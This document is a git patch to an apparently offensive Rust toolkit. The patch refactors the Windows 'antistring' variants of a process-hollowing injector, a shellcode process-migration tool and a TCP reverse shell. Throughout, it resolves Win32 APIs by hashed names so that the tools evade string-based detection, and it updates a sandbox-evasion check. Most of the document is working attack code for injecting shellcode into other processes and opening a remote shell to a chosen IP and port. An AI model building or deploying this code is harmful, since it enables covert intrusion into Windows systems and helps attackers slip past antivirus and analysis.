From 6f38bd67fc47b00f08fe870b87b66f5f6a40de34 Mon Sep 17 00:00:00 2001 From: kmanc Date: Sun, 6 Nov 2022 16:46:55 -0800 Subject: [PATCH] Antistring crash (#72) * cargo lock and version bumps * reduce number of loadlibrary calls to reduce error 126 crashes * version bump * forgot to update the tcp rev shell antistring --- Cargo.lock | 24 ++++++------ process_hollowing/Cargo.toml | 2 +- .../mod.rs | 16 +++++--- process_migration/Cargo.toml | 2 +- .../mod.rs | 15 +++++--- rco_utils/Cargo.toml | 2 +- rco_utils/src/lib.rs | 37 ++++++++++++------- tcp_reverse_shell/Cargo.toml | 2 +- .../mod.rs | 20 ++++++---- 9 files changed, 73 insertions(+), 47 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index f4051d5..278d99f 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -22,9 +22,9 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "getrandom" -version = "0.2.7" +version = "0.2.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4eb1a864a501629691edf6c15a593b7a51eebaa1e8468e9ddc623de7c9b58ec6" +checksum = "c05aeb6a22b8f62540c194aac980f2115af067bfe15a0734d7277a768d396b31" dependencies = [ "cfg-if", "libc", @@ -41,9 +41,9 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.134" +version = "0.2.137" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "329c933548736bc49fd575ee68c89e8be4d260064184389a5b77517cddd99ffb" +checksum = "fc7fcc620a3bff7cdd7a365be3376c97191aeaccc2a603e600951e452615bf89" [[package]] name = "memoffset" @@ -76,13 +76,13 @@ checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" [[package]] name = "ppv-lite86" -version = "0.2.16" +version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" [[package]] name = "process_hollowing" -version = "1.9.0" +version = "1.10.0" dependencies = [ "nix", "rco_config", @@ -92,7 +92,7 @@ dependencies = [ [[package]] name = "process_migration" -version = "1.10.0" +version = "1.11.0" dependencies = [ "nix", "rco_config", @@ -136,7 +136,7 @@ version = "0.2.0" [[package]] name = "rco_utils" -version = "1.1.0" +version = "1.2.0" dependencies = [ "rand", "windows", @@ -144,7 +144,7 @@ dependencies = [ [[package]] name = "tcp_reverse_shell" -version = "1.4.0" +version = "1.4.1" dependencies = [ "rco_config", "rco_utils", @@ -159,9 +159,9 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "windows" -version = "0.42.0" +version = "0.43.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0286ba339aa753e70765d521bb0242cc48e1194562bfa2a2ad7ac8a6de28f5d5" +checksum = "04662ed0e3e5630dfa9b26e4cb823b817f1a9addda855d973a9458c236556244" dependencies = [ "windows_aarch64_gnullvm", "windows_aarch64_msvc", diff --git a/process_hollowing/Cargo.toml b/process_hollowing/Cargo.toml index 09cf903..4f46bc6 100644 --- a/process_hollowing/Cargo.toml +++ b/process_hollowing/Cargo.toml @@ -7,7 +7,7 @@ license = "MIT" name = "process_hollowing" repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/process_hollowing" rust-version = "1.59" -version = "1.9.0" +version = "1.10.0" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html diff --git a/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs b/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs index 4234235..7fabf56 100644 --- a/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs +++ b/process_hollowing/src/rco_process_hollowing_windows_antistring/mod.rs @@ -17,8 +17,11 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // See line 13 let mut process_information = PROCESS_INFORMATION::default(); + // Get location of Kernel32.dll + let kernel32 = rco_utils::find_library_address("Kernel32").unwrap(); + // See line 18 - let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x6fe222ff0e96f5c4).unwrap(); let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *mut PROCESS_INFORMATION]; [BOOL]); let lp_command_line = PSTR::from_raw(format!("{target_process}\0").as_mut_ptr()); unsafe { @@ -36,8 +39,11 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { ) }; + // Get location of Ntdll.dll + let ntdll = rco_utils::find_library_address("Ntdll").unwrap(); + // See line 43 - let function = rco_utils::find_function_address("Ntdll", 0x9b0d5adddbf90f8a).unwrap(); + let function = rco_utils::find_function_address(ntdll, 0x9b0d5adddbf90f8a).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, PROCESSINFOCLASS, *mut c_void, u32, *mut u32]; [()]); let process_handle = process_information.hProcess; let mut basic_information = PROCESS_BASIC_INFORMATION::default(); @@ -52,7 +58,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { }; // See line 60 - let function = rco_utils::find_function_address("Kernel32", 0x1c1cfbf71004cba8).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x1c1cfbf71004cba8).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *mut c_void, usize, *mut usize]; [()]); let image_base_address = basic_information.PebBaseAddress as u64 + 0x10; let mut address_buffer = [0; POINTER_SIZE as usize]; @@ -84,7 +90,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { } // See line 97 - let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x2638fa76194bfe63).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *const c_void, usize, *mut usize]; [()]); let e_lfanew = unsafe { ptr::read((head_pointer_raw + E_LFANEW_OFFSET) as *const u32) }; let opthdr_offset = e_lfanew as usize + OPTHDR_ADDITIONAL_OFFSET; @@ -101,7 +107,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { }; // See line 117 - let function = rco_utils::find_function_address("Kernel32", 0x9f2eb3a0195b21d).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x9f2eb3a0195b21d).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE]; [()]); unsafe { function(process_information.hThread) }; } diff --git a/process_migration/Cargo.toml b/process_migration/Cargo.toml index addee43..0f28918 100644 --- a/process_migration/Cargo.toml +++ b/process_migration/Cargo.toml @@ -7,7 +7,7 @@ license = "MIT" name = "process_migration" repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/process_migration" rust-version = "1.59" -version = "1.10.0" +version = "1.11.0" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html diff --git a/process_migration/src/rco_process_migration_windows_antistring/mod.rs b/process_migration/src/rco_process_migration_windows_antistring/mod.rs index ad3db80..ac82253 100644 --- a/process_migration/src/rco_process_migration_windows_antistring/mod.rs +++ b/process_migration/src/rco_process_migration_windows_antistring/mod.rs @@ -10,13 +10,16 @@ use windows::Win32::System::Memory::{ use windows::Win32::System::Threading::{PROCESS_ACCESS_RIGHTS, PROCESS_ALL_ACCESS}; pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { + // Get location of Kernel32.dll + let kernel32 = rco_utils::find_library_address("Kernel32").unwrap(); + // See line 11 - let function = rco_utils::find_function_address("Kernel32", 0x139872fd098af4a7).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x139872fd098af4a7).unwrap(); let function = rco_utils::construct_win32_function!(function; [CREATE_TOOLHELP_SNAPSHOT_FLAGS, u32]; [HANDLE]); let snapshot = unsafe { function(TH32CS_SNAPPROCESS, 0_u32) }; // See line 20 - let function = rco_utils::find_function_address("Kernel32", 0x4cf400a249844bee).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x4cf400a249844bee).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, &mut PROCESSENTRY32]; [BOOL]); let mut pid = 0_u32; let mut process_entry = PROCESSENTRY32 { @@ -39,12 +42,12 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { } // See line 46 - let function = rco_utils::find_function_address("Kernel32", 0x2c116091e452cf52).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x2c116091e452cf52).unwrap(); let function = rco_utils::construct_win32_function!(function; [PROCESS_ACCESS_RIGHTS, bool, u32]; [HANDLE]); let explorer_handle = unsafe { function(PROCESS_ALL_ACCESS, false, pid) }; // See line 55 - let function = rco_utils::find_function_address("Kernel32", 0x5cfd66a14ed9a43).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x5cfd66a14ed9a43).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const u32, usize, VIRTUAL_ALLOCATION_TYPE, PAGE_PROTECTION_FLAGS]; [*const c_void]); let base_address = unsafe { function( @@ -57,7 +60,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { }; // See line 68 - let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x2638fa76194bfe63).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const c_void, *const c_void, usize, *mut usize]; [()]); unsafe { function( @@ -70,7 +73,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) { }; // See line 84 - let function = rco_utils::find_function_address("Kernel32", 0x2a0b247f3bdeef70).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x2a0b247f3bdeef70).unwrap(); let function = rco_utils::construct_win32_function!(function; [HANDLE, *const u32, u32, Option u32>, *const u32, u32, *mut u32]; [()]); let start_address_option = unsafe { Some(mem::transmute(base_address)) }; unsafe { diff --git a/rco_utils/Cargo.toml b/rco_utils/Cargo.toml index c0a0447..85d61e0 100644 --- a/rco_utils/Cargo.toml +++ b/rco_utils/Cargo.toml @@ -6,7 +6,7 @@ license = "MIT" name = "rco_utils" repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/rco_utils" rust-version = "1.59" -version = "1.1.0" +version = "1.2.0" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html diff --git a/rco_utils/src/lib.rs b/rco_utils/src/lib.rs index 21feda8..b2a1ab0 100644 --- a/rco_utils/src/lib.rs +++ b/rco_utils/src/lib.rs @@ -94,17 +94,9 @@ fn equalize_slice_len(slice_one: &[T], slice_two: &[T]) -> */ #[cfg(all(windows, feature = "antistring"))] -pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box> { - // Call LoadLibraryA on a DLL to get its base address - let lib_filename = PCSTR::from_raw(format!("{dll}\0").as_mut_ptr()); - let library_base = match unsafe { LoadLibraryA(lib_filename) } { - Ok(value) => value, - Err(_) => panic!("Could not load {lib_filename:?}"), - }; - let library_base_usize = library_base.0 as usize; - +pub fn find_function_address(library_base_usize: usize, name_hash: u64) -> Result<*const (), Box> { // Get a pointer to the DOS header - let dos_header: *const IMAGE_DOS_HEADER = library_base.0 as *const IMAGE_DOS_HEADER; + let dos_header: *const IMAGE_DOS_HEADER = library_base_usize as *const IMAGE_DOS_HEADER; // Calculate the address of the image headers let image_headers: *const IMAGE_NT_HEADERS64 = unsafe { @@ -170,7 +162,23 @@ pub fn find_function_address(dll: &str, name_hash: u64) -> Result<*const (), Box return Ok(function_address); } } - Err(format!("Could not find the function '{name_hash:x}' in '{dll}'").into()) + Err(format!("Could not find the function '{name_hash:x}'").into()) +} + +/* + Find Win32 function implementation - finds the memory location of a Win32 function in its DLL so it can be called directly +*/ + +#[cfg(all(windows, feature = "antistring"))] +pub fn find_library_address(dll: &str) -> Result> { + // Call LoadLibraryA on a DLL to get its base address + let lib_filename = PCSTR::from_raw(format!("{dll}\0").as_mut_ptr()); + let library_base = match unsafe { LoadLibraryA(lib_filename) } { + Ok(value) => value, + Err(_) => panic!("Could not load {lib_filename:?}"), + }; + + Ok(library_base.0 as usize) } /* @@ -214,8 +222,11 @@ pub fn pound_sand() -> bool { #[cfg(all(windows, feature = "antisand", feature = "antistring"))] pub fn pound_sand() -> bool { + // Get location of Wininet.dll + let wininet = find_library_address("Wininet").unwrap(); + // See line 90 - let function = find_function_address("Wininet", 0x4b98c7b42f5ce34f).unwrap(); + let function = find_function_address(wininet, 0x4b98c7b42f5ce34f).unwrap(); let lpsz_agent = PCSTR::from_raw(String::from("Name in user-agent\0").as_mut_ptr()); let internet_handle = unsafe { mem::transmute::<*const (), fn(PCSTR, i32, PCSTR, PCSTR, i32) -> *mut c_void>(function)( @@ -239,7 +250,7 @@ pub fn pound_sand() -> bool { full_link.push_str(&link_end); // See line 111 - let function = find_function_address("Wininet", 0x275e2d4fe536ed19).unwrap(); + let function = find_function_address(wininet, 0x275e2d4fe536ed19).unwrap(); let lpsz_url = PCSTR::from_raw(format!("{full_link}\0").as_mut_ptr()); let website = unsafe { mem::transmute::<*const (), fn(*mut c_void, PCSTR, &[u8], u32, usize) -> *mut c_void>( diff --git a/tcp_reverse_shell/Cargo.toml b/tcp_reverse_shell/Cargo.toml index 25ccea9..a9710f3 100644 --- a/tcp_reverse_shell/Cargo.toml +++ b/tcp_reverse_shell/Cargo.toml @@ -7,7 +7,7 @@ license = "MIT" name = "tcp_reverse_shell" repository = "https://github.com/kmanc/remote_code_oxidation/tree/main/tcp_reverse_shell" rust-version = "1.59" -version = "1.4.1" +version = "1.5.0" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html diff --git a/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs b/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs index 5c267cc..996798a 100644 --- a/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs +++ b/tcp_reverse_shell/src/rco_reverse_shell_windows_antistring/mod.rs @@ -15,13 +15,16 @@ use windows::Win32::System::Threading::{ const WSASTARTUPVAL: u16 = 514; pub fn shell(ip: &str, port: u16) { + // Get location of Ws2_32.dll + let ws2_32 = rco_utils::find_library_address("Ws2_32").unwrap(); + // See line 15 - let function = rco_utils::find_function_address("Ws2_32", 0xedf45b56dba24418).unwrap(); + let function = rco_utils::find_function_address(ws2_32, 0xedf45b56dba24418).unwrap(); let function = rco_utils::construct_win32_function!(function; [u16, &mut WSADATA]; [()]); unsafe { function(WSASTARTUPVAL, &mut WSADATA::default()) }; // See line 28 - let function = rco_utils::find_function_address("Ws2_32", 0xad51563d572a6798).unwrap(); + let function = rco_utils::find_function_address(ws2_32, 0xad51563d572a6798).unwrap(); let function = rco_utils::construct_win32_function!(function; [i32, i32, i32, *const WSAPROTOCOL_INFOA, i32, i32]; [SOCKET]); let socket = unsafe { function( @@ -35,7 +38,7 @@ pub fn shell(ip: &str, port: u16) { }; // See line 42 - let function = rco_utils::find_function_address("Ws2_32", 0xf6d69fad519d46a0).unwrap(); + let function = rco_utils::find_function_address(ws2_32, 0xf6d69fad519d46a0).unwrap(); let mut sockaddr_in = SOCKADDR_IN { sin_family: AF_INET.0 as u16, ..Default::default() @@ -46,12 +49,12 @@ pub fn shell(ip: &str, port: u16) { unsafe { function(AF_INET.0 as i32, ip_pcstr, sin_addr_ptr) }; // See line 68 - let function = rco_utils::find_function_address("Ws2_32", 0x57420f0d05112fd1).unwrap(); + let function = rco_utils::find_function_address(ws2_32, 0x57420f0d05112fd1).unwrap(); let function = rco_utils::construct_win32_function!(function; [u16]; [u16]); sockaddr_in.sin_port = unsafe { function(port) }; // See line 77 - let function = rco_utils::find_function_address("Ws2_32", 0xcbfa974b4e43f414).unwrap(); + let function = rco_utils::find_function_address(ws2_32, 0xcbfa974b4e43f414).unwrap(); let function = rco_utils::construct_win32_function!(function; [SOCKET, *const SOCKADDR, i32]; [i32]); unsafe { function( @@ -61,8 +64,11 @@ pub fn shell(ip: &str, port: u16) { ) }; + // Get location of Ws2_32.dll + let kernel32 = rco_utils::find_library_address("Kernel32").unwrap(); + // See line 91 - let function = rco_utils::find_function_address("Kernel32", 0x9822936f60f9a914).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x9822936f60f9a914).unwrap(); let lp_buffer: &mut [u8] = &mut [0; 50]; let function = rco_utils::construct_win32_function!(function; [&mut [u8]]; [()]); unsafe { function(lp_buffer) }; @@ -70,7 +76,7 @@ pub fn shell(ip: &str, port: u16) { let system_dir = system_dir.to_str().unwrap(); // See line 103 - let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap(); + let function = rco_utils::find_function_address(kernel32, 0x6fe222ff0e96f5c4).unwrap(); let mut startup_info = STARTUPINFOA { cb: mem::size_of::() as u32, dwFlags: STARTF_USESTDHANDLES,